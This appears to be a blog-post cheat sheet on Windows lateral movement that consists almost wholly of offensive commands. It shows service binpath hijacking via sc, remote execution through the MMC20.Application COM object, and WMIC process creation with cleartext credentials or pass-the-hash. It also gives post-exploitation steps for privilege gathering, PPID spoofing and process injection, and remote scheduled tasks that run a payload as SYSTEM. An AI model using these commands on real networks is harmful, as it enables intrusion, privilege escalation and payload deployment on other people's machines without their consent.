Lateral Movement

November 12, 2021 0 By Ryan Barger

Service Manipulation

(VSS is a commonly used service)
sc \\<REMOTE_IP> query <SERVICENAME>
sc \\<REMOTE_IP> qc <SERVICENAME>
sc \\<REMOTE_IP> qfailure <SERVICENAME>
sc \\<REMOTE_IP> config <SERVICENAME> binpath= "<PAYLOAD LOC>"
sc \\<REMOTE_IP> start <SERVICENAME>
sc \\<REMOTE_IP> config <SERVICENAME> binpath= "<ORIGINAL FILE LOC>"
sc \\<REMOTE_IP> qc <SERVICENAME>

COM Object

([activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,”<IPToTarget>”))).Document.ActiveView.ExecuteShellCommand(“<CommandToExec>”,$null,$null,”7”)

WMIC

WMIC /NODE:"<IP OR HOSTNAME>" /USER:"<DOMAIN\USERNAME>" /PASSWORD:"<CLEARTEXT_PW>" PROCESS CALL CREATE "<PAYLOAD_FILE_LOC>"
    -or w/ PTH-
WMIC /NODE:"<IP OR HOSTNAME>" PROCESS CALL CREATE "<PAYLOAD_FILE_LOC>"

(Below should be Called after migration with WMIC)
    getprivs
    ppid <random SYSTEM process PID>
    execute c:\windows\system32\upnpcont.exe
    inject <new process ID> x64

SCHTASKS

(IF PRIVILEGED - RU and SC ONLOGON options are available)
schtasks.exe /Create /S <IP or HOSTNAME> /F /RU SYSTEM /SC ONLOGON /TN "<TASKNAME>" /TR "<PAYLOAD_FILEPATH>"
schtasks.exe /run /s <IP or HOSTNAME> /TN <TASKNAME>
schtasks.exe /DELETE /F /TN "<TASKNAME>"